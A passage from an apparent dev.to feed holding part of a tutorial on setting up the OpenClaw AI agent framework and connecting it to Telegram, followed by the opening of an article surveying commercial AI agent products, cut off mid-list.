▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
██░▄▄▄░██░▄▄░██░▄▄▄██░▀██░██░▄▄▀██░████░▄▄▀██░███░██
██░███░██░▀▀░██░▄▄▄██░█░█░██░█████░████░▀▀░██░█░█░██
██░▀▀▀░██░█████░▀▀▀██░██▄░██░▀▀▄██░▀▀░█░██░██▄▀▄▀▄██
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
                  🦞 OPENCLAW 🦞


┌  OpenClaw setup
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This ongoing setup dialog will guide you through different installation phases. The following list divides the setup decisions, and shows the corresponding dialog prompt printed in the terminal.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Security Warning
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;◆  I understand this is personal-by-default and shared/multi-user use requires lock-down. Continue?
│  ● Yes / ○ No
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A disclaimer about the project's nature, mentioning risks and concerns, and listing guidelines for a safe initial configuration. You need to answer with &lt;code&gt;Yes&lt;/code&gt; in order to continue.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Setup Mode
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;◆  Setup mode
│  ● QuickStart &lt;span class="o"&gt;(&lt;/span&gt;Configure details later via openclaw configure.&lt;span class="o"&gt;)&lt;/span&gt;
│  ○ Manual
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;Manual&lt;/code&gt; setup mode is intended for configuring OpenClaw on a public internet host, detailing network stack configurations including URL and port. Continue with the preselected &lt;code&gt;QuickStart&lt;/code&gt; for an instance that runs locally.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Model Configuration
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;◆  Model/auth provider
│  ● Alibaba Cloud Model Studio &lt;span class="o"&gt;(&lt;/span&gt;Coding Plan API key &lt;span class="o"&gt;(&lt;/span&gt;CN / Global&lt;span class="o"&gt;))&lt;/span&gt;
│  ○ Anthropic
│  ○ BytePlus
│  ○ Chutes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;OpenClaw needs at least one LLM provider for processing inputs. The list is quite extensive, enabling free selection from more than 30 providers. It includes well-known options such as OpenAI, Anthropic, DeepSeek, or Minimax, API gateways like LiteLLM, and multi-provider aggregators like OpenRouter.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Channel Configuration
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Select channel &lt;span class="o"&gt;(&lt;/span&gt;QuickStart&lt;span class="o"&gt;)&lt;/span&gt;
│  ● Telegram &lt;span class="o"&gt;(&lt;/span&gt;Bot API&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;recommended · newcomer-friendly&lt;span class="o"&gt;)&lt;/span&gt;
│  ○ WhatsApp &lt;span class="o"&gt;(&lt;/span&gt;QR &lt;span class="nb"&gt;link&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
│  ○ Discord &lt;span class="o"&gt;(&lt;/span&gt;Bot API&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An OpenClaw installation exposes a dashboard with many features, one being a chat interface. However, the true appeal of OpenClaw is its compatibility with different communication channels: messengers like WhatsApp and Signal, collaboration tools like Slack and Discord, and integrations with ecosystems like Mattermost or Nextcloud.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Search provider
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Search provider
│  ○ Brave Search
│  ● DuckDuckGo Search &lt;span class="o"&gt;(&lt;/span&gt;experimental&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Free web search fallback with no API key required · key-free&lt;span class="o"&gt;)&lt;/span&gt;
│  ○ Exa Search
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;OpenClaw agents frequently perform web searches to fetch accurate and up-to-date information. Technically, search results should be provided in a non-HTML format, for example JSON. This structure can be obtained from search providers, which require a dedicated, paid account. The alternative is to use a headless Brave browser, which works, but can run into bot-detection challenges.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Skills
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Skills status ─────────────╮
│                             │
│  Eligible: 3                │
│  Missing requirements: 40   │
│  Unsupported on this OS: 7  │
│  Blocked by allowlist: 0    │
│                             │
├─────────────────────────────╯
│
◆  Configure skills now? &lt;span class="o"&gt;(&lt;/span&gt;recommended&lt;span class="o"&gt;)&lt;/span&gt;
│  ● Yes / ○ No
│
Install missing skill dependencies
│  ◻ Skip &lt;span class="k"&gt;for &lt;/span&gt;now &lt;span class="o"&gt;(&lt;/span&gt;Continue without installing dependencies&lt;span class="o"&gt;)&lt;/span&gt;
│  ◻ 🔐 1password
│  ◻ 📰 blogwatcher
│  ◻ 🫐 blucli
│  ◻ 📸 camsnap
│  ◻ 🧩 clawhub
│  ◻ 🛌 eightctl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Skills extend the capabilities of your OpenClaw agents. Much of the perceived user value stems from sophisticated skill definitions that are included and activated by default. This includes interfacing natively with apps installed on the computer, accessing internet services from Google, BlueSky, or Obsidian, and much more. And of course, you can further extend the skills once the initial setup is completed.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Hooks
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; Hooks ──────────────────────────────────────────────────────────────────╮
│                                                                          │
│  Hooks &lt;span class="nb"&gt;let &lt;/span&gt;you automate actions when agent commands are issued.          │
│  Example: Save session context to memory when you issue /new or /reset.  │
│                                                                          │
│  Learn more: https://docs.openclaw.ai/automation/hooks                   │
│                                                                          │
├──────────────────────────────────────────────────────────────────────────╯
│
◆  Enable hooks?
│  ◻ Skip &lt;span class="k"&gt;for &lt;/span&gt;now
│  ◻ 🚀 boot-md
│  ◻ 📎 bootstrap-extra-files
│  ◻ 📝 command-logger
│  ◻ 💾 session-memory
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When using an OpenClaw agent, the invocation traverses typical lifecycle phases from initialization, tool access, execution, and answer generation. During these phases, hooks can be executed, with the goal of extending or tweaking the default behavior. A common option is to activate an additional prompt during initialization, which can be achieved with the &lt;code&gt;boot-md&lt;/code&gt; hook.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Technical Setup
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;◇  Systemd ───────────────────────────────────────────────────────────────────────────────╮
│                                                                                         │
│  Systemd user services are unavailable. Skipping lingering checks and service install.  │
│                                                                                         │
├─────────────────────────────────────────────────────────────────────────────────────────╯


...


◇  Gateway service ─────────────────────────────────────────────────────────────────────╮
│                                                                                       │
│  Systemd user services are unavailable&lt;span class="p"&gt;;&lt;/span&gt; skipping service install. Use your container  │
│  supervisor or &lt;span class="sb"&gt;`&lt;/span&gt;docker compose up &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;                                                │
│                                                                                       │
├───────────────────────────────────────────────────────────────────────────────────────╯
│


...


◇  Control UI ───────────────────────────────────────────────────────────────────────────────╮
│                                                                                            │
│  Web UI: &amp;lt;http://127.0.0.1:18789/&amp;gt;                                                        │
│  Web UI &lt;span class="o"&gt;(&lt;/span&gt;with token&lt;span class="o"&gt;)&lt;/span&gt;:                                                                     │
│  &amp;lt;http://127.0.0.1:18789/#token&lt;span class="o"&gt;=&lt;/span&gt;faf2ffc95ec703f656941f8d601e9d8db166e808765abfb7&amp;gt;        │
│  Gateway WS: ws://127.0.0.1:18789                                                         │
│  Gateway: not detected &lt;span class="o"&gt;(&lt;/span&gt;gateway closed &lt;span class="o"&gt;(&lt;/span&gt;1006 abnormal closure &lt;span class="o"&gt;(&lt;/span&gt;no close frame&lt;span class="o"&gt;))&lt;/span&gt;: no close │
│  reason&lt;span class="o"&gt;)&lt;/span&gt;                                                                                  │
│  Docs: &amp;lt;https://docs.openclaw.ai/web/control-ui&amp;gt;                                          │
│                                                                                            │
├────────────────────────────────────────────────────────────────────────────────────────────╯


...



◇  Security ──────────────────────────────────────────────────────╮
│                                                                 │
│  Running agents on your computer is risky — harden your setup:  │
│  &amp;lt;https://docs.openclaw.ai/security&amp;gt;                            │
│                                                                 │
├─────────────────────────────────────────────────────────────────╯


...


└  Onboarding complete. Use the dashboard &lt;span class="nb"&gt;link &lt;/span&gt;above to control OpenClaw.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this non-interactive phase, the OpenClaw installation sets up a &lt;code&gt;systemd&lt;/code&gt; service, starts it, performs a health check, prints access information, and other data.&lt;/p&gt;

&lt;p&gt;This concludes the onboarding, and you can now access the OpenClaw dashboard. To see the required dashboard URL, run the command &lt;code&gt;openclaw dashboard --no-open&lt;/code&gt;; it prints a URL string with the required token embedding.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fje9fc75p4byqnrej6lcw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fje9fc75p4byqnrej6lcw.png" width="800" height="477"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Telegram Integration Setup
&lt;/h2&gt;

&lt;p&gt;One of OpenClaw's strengths is its capability to be accessible from many different channels. Integration with the Telegram messenger provides an always-enabled connection for communication with your OpenClaw instance and for receiving messages that result from asynchronous tasks, for example cron jobs.&lt;/p&gt;

&lt;p&gt;Telegram setup follows these steps.&lt;/p&gt;

&lt;h3&gt;
  
  
  Create a New Telegram Bot
&lt;/h3&gt;

&lt;p&gt;A bot is a system user configured in Telegram, with a unique ID. It can be created through the Telegram chat interface itself. Follow these steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Open a message to &lt;a href="https://t.me/BotFather" rel="noopener noreferrer"&gt;@BotFather&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Enter the &lt;code&gt;/newbot&lt;/code&gt; command.&lt;/li&gt;
&lt;li&gt;Provide a bot name, which is the unique ID with which to access the bot. You can use acronyms and cryptic letter/number combinations to prevent accidental access from other Telegram users.&lt;/li&gt;
&lt;li&gt;Configure the Bot Username, which is the account name to which you refer in OpenClaw. Use mnemonics or generic names to identify the bot, such as "Researcher".&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When the bot is configured, a 46-character bot token is printed in Telegram. This access token needs to be configured in the OpenClaw instance to enable access. You can manually edit the &lt;code&gt;openclaw.json&lt;/code&gt; configuration file, or use &lt;code&gt;openclaw onboard&lt;/code&gt; again and only change the channel configuration. The CLI dialogue is as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Telegram bot token ────────────────────────────────────╮
│                                                         │
│  1&lt;span class="o"&gt;)&lt;/span&gt; Open Telegram and chat with @BotFather              │
│  2&lt;span class="o"&gt;)&lt;/span&gt; Run /newbot &lt;span class="o"&gt;(&lt;/span&gt;or /mybots&lt;span class="o"&gt;)&lt;/span&gt;                            │
│  3&lt;span class="o"&gt;)&lt;/span&gt; Copy the token &lt;span class="o"&gt;(&lt;/span&gt;looks like 123456:ABC...&lt;span class="o"&gt;)&lt;/span&gt;           │
│  Tip: you can also &lt;span class="nb"&gt;set &lt;/span&gt;TELEGRAM_BOT_TOKEN &lt;span class="k"&gt;in &lt;/span&gt;your env.  │
│  Docs: &amp;lt;https://docs.openclaw.ai/telegram&amp;gt;              │
│  Website: &amp;lt;https://openclaw.ai&amp;gt;                         │
│                                                         │
├─────────────────────────────────────────────────────────╯
│
◇  How &lt;span class="k"&gt;do &lt;/span&gt;you want to provide this Telegram bot token?
│  Enter Telegram bot token
│
◆  Enter Telegram bot token
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The final step is to allow the OpenClaw instance to communicate with the bot. This process, called pairing, is started by sending a new message to the bot via Telegram. This will create a short, 5-character access token. And this token needs to be confirmed in your OpenClaw instance.&lt;/p&gt;

&lt;p&gt;On your instance, run the following commands, and insert this token.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openclaw pairing list telegram
openclaw pairing approve telegram &lt;span class="nv"&gt;$TOKEN&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now you can send a message to your bot and your instance should answer. If not, please check the troubleshooting hints in the next section.&lt;/p&gt;

&lt;h3&gt;
  
  
  Telegram Troubleshooting
&lt;/h3&gt;

&lt;p&gt;A typical error case is that the bot is not answering at all. In my personal experience, this often can be boiled down to a typo in the bot token. You can check this by sending the token to a Telegram status API endpoint. In the following example, replace &lt;code&gt;"${TOKEN}"&lt;/code&gt; with the 46-character token.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://api.telegram.org/bot&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TOKEN&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/getMe"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the token is not correct, you will receive a JSON document with the following content.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"error_code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Unauthorized"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;... while a correct token creates this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"result"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"REDACTED"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"is_bot"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"first_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"claw"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"REDACTED"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"can_join_groups"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"can_read_all_group_messages"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"supports_inline_queries"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"can_connect_to_business"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"has_main_web_app"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"has_topics_enabled"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"allows_users_to_create_topics"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the bot token is correct, but the error persists, a network error in the Telegram-to-OpenClaw instance communication is likely. Run the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openclaw channels status &lt;span class="nt"&gt;--probe&lt;/span&gt;


Gateway reachable.

- Telegram default: enabled, configured, running, mode:polling, bot:@REDACTED, token:config, works
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If this shows a specific error message, access the OpenClaw documentation for further information, and hopefully your access problem can be resolved.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion and Next Steps
&lt;/h2&gt;

&lt;p&gt;OpenClaw is an agentic tool which provides both full access to a computer and abundant skills to interface with external systems. It is the premier tool that catapulted the capabilities of LLM agents to the public. In this article, you learned how to install OpenClaw from scratch. Installation is simple; a mere NPM package on a current Linux distribution is sufficient. Onboarding is an interactive dialogue, which guides you through model, channel, search provider, skills, and hooks. Telegram channel configuration involves bot creation, bot token configuration, and pairing. With the installation completed, you can start exploring the many use cases that OpenClaw offers.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>agents</category>
      <category>llm</category>
      <category>openclaw</category>
    </item>
    <item>
      <title>From Large Language Models to AI Agent Systems</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 10 Aug 2026 04:59:21 +0000</pubDate>
      <link>https://dev.to/admantium/from-large-language-models-to-ai-agent-systems-3gec</link>
      <guid>https://dev.to/admantium/from-large-language-models-to-ai-agent-systems-3gec</guid>
      <description>&lt;p&gt;In 2024, the first capable Large Language Models emerged. Self-hosted Ollama with local model inference was one pattern, and using commercial vendors and models like OpenAI's GPT or Anthropic's Sonnet models. Several open-source projects started to create AI assistants, targeting working autonomously on tasks ranging from research to productivity and coding.&lt;/p&gt;

&lt;p&gt;In my blog article series about LLMs, I wrote &lt;a href="https://admantium.com/blog/llm34_requirements_of_personal_assistant/" rel="noopener noreferrer"&gt;Universal Personal Assistant with LLMs&lt;/a&gt; as the last entry in December 2024. I had the goal to investigate agent systems like &lt;a href="https://microsoft.github.io/autogen/stable/user-guide/autogenstudio-user-guide/index.html" rel="noopener noreferrer"&gt;AutoGen&lt;/a&gt;, &lt;a href="https://docs.crewai.com/" rel="noopener noreferrer"&gt;CrewAI&lt;/a&gt;, and &lt;a href="https://github.com/frdel/agent-zero" rel="noopener noreferrer"&gt;AgentZero&lt;/a&gt;. But using these frameworks showed severe limitations: Tool calls did not function reliably, and a human operator needed to constantly shepherd the LLM invocation to stay on track. I did not write a single article following this experience.&lt;/p&gt;

&lt;p&gt;In 2026, the AI agent paradigm is a technical reality, and it keeps evolving rapidly. Commercial products include agent-like capabilities in their products, from the universal ChatGPT, to knowledge organisation with Notion and web search with Perplexity. Open-source frameworks likewise evolved: Chat interfaces with session persistence like OpenWebUI, personal agent frameworks like OpenClaw and Hermes, and several coding tools like Droid, Kilo, and Pi.&lt;/p&gt;

&lt;p&gt;Agents are here now. They autonomously read and compose e-mails, conduct research and write comprehensive overviews, and program web applications and apps.&lt;/p&gt;

&lt;p&gt;In this ongoing blog series, agent applications and their capabilities will be the focus. Two goals are prevalent. First, to explore and categorize the (agentic) features of commercial products and open-source projects. Second, how to set up agentic tools and surrounding infrastructure like LLM proxies and observability tools.&lt;/p&gt;

&lt;p&gt;This introductory blog post provides an overview of application types and concrete commercial and open-source tools.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/llm35_llm_agent_application_overview/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Commercial Tools
&lt;/h2&gt;

&lt;p&gt;The space of commercial tools is enormous. While AI becomes embedded into many types of products, agentic capabilities are the focus in the following groups.&lt;/p&gt;

&lt;h2&gt;
  
  
  Research
&lt;/h2&gt;

&lt;p&gt;Gathering information from several webpages, reading several texts, comparing and summarizing — this is a premier task for AI apps.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.perplexity.ai/" rel="noopener noreferrer"&gt;Perplexity AI&lt;/a&gt;: Perplexity is an AI-powered search engine with different capabilities: Standard fast web search, and deep research for parallel fetching and comparison of several sources. You can select which model to use, enter text and voice, and instruct it to narrow down sources. Search processes and text generation happen fast, providing accurate results quickly, and always linking the relevant sources for verifying factual claims.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://support.google.com/websearch/answer/14901683" rel="noopener noreferrer"&gt;Google AI Search/AI Overview&lt;/a&gt;: Google also extended its search capabilities with conversational AI. When used, information is synthesized from various sources, providing a quick overview of topics of interest. Follow-up questions can narrow down the results. AI Overview is offered as an installable app for mobile phones only, which provides integration with a phone's native capabilities, including its camera for pictures or videos.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Knowledge Management
&lt;/h2&gt;

&lt;p&gt;Knowledge management is concerned with organizing lists, notes, and texts into a coherent, structured format. Keeping this structure with editors requires structural integrity and strict rules to follow, while using a tool is dependent on the provider's system, making exports difficult.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.notion.com/product/agents" rel="noopener noreferrer"&gt;Notion AI&lt;/a&gt;: Notion pages are structured documents accessible from the web or via dedicated app. Adding agents to these pages allows extended search capabilities via connectors, e.g. to external databases, or content improvements like summarization or text rewriting. Since agents can also query the complete workspace, context-aware suggestions can be produced, e.g. to reduce redundancy in notes. The specific strength of Notion is that agent invocation stays inside the workspace itself; no separate search or chat interface is required.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://en.wikipedia.org/wiki/NotebookLM" rel="noopener noreferrer"&gt;Google NotebookLM&lt;/a&gt;: A Gemini-powered research assistant that performs retrieval-augmented generation over uploaded sources such as Docs, PDFs, Slides, and URLs, generating grounded summaries and explanations. It is especially useful when the source set is known in advance and the goal is to stay within those materials. A distinctive feature is source-grounded output that avoids drifting beyond the uploaded corpus.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.perplexity.ai" rel="noopener noreferrer"&gt;Perplexity Spaces&lt;/a&gt;: The Spaces feature is designed as a long-running, continuous session in which you can add sources, configure LLM invocation instructions, attach custom files and other data sources, and then start discussions structured as threads. Additionally, spaces can be shared with other people, allowing collaborative work on dedicated knowledge areas.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Productivity
&lt;/h2&gt;

&lt;p&gt;Personal productivity is a very attractive area for agent applications. Organizing disjoint data sources, from task lists to calendars, from e-mails to note-taking apps, can be tedious if not structured rigorously. Agent apps provide organization and processes in spite of structural differences.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://knowledge.workspace.google.com/admin/gemini/google-workspace-with-gemini" rel="noopener noreferrer"&gt;Google Workspace with Gemini&lt;/a&gt;: Google apps remain at the frontier of productivity, already providing a tight integration between emails, documents, sheets, and task lists. Their Gemini model can be opened in any workspace app, providing immediate support by AI models. Alternatively, a Gemini chat can be used standalone, with full access to all information, making it seamless to e.g. let an e-mail be composed about the contents of several documents. Also, you can use this feature to generate texts and add them to documents.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://help.openai.com/en/articles/11752874-chatgpt-agent" rel="noopener noreferrer"&gt;ChatGPT Agent Mode&lt;/a&gt;: ChatGPT is the premier interface for invoking LLMs in long, session-based conversations. The agent mode extends this capability, allowing a combined tool array for multi-step workflows, with tasks like web research, file editing, code execution, and connection to various third-party apps. Tasks can even be scheduled regularly, providing timed workflows.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://slack.com/blog/news/ai-productivity-tools-slack" rel="noopener noreferrer"&gt;Slack AI&lt;/a&gt;: Slack is a standard communication tool, used in small businesses and enterprises alike. Integration of AI takes several forms. For channels, summaries can be generated. Inside a huddle, meeting notes can be summarized. And the canvas feature allows collaborative text editing.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Content Generation
&lt;/h2&gt;

&lt;p&gt;While text generation and image generation are core capabilities in all aforementioned application areas, specialized domains require specific formats or need to follow rules.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.jasper.ai/agents" rel="noopener noreferrer"&gt;Jasper Agents&lt;/a&gt;: A complete platform for brand-specific content generation, including landing pages, blogs, and whole campaigns. It structures content generation into strict phases, and uses specialized agents for each step, with fixed guardrails and quality controls. It is also designed for collaborative work, allowing whole teams to structure and refine the workflow processes.&lt;/li&gt;
&lt;li&gt;
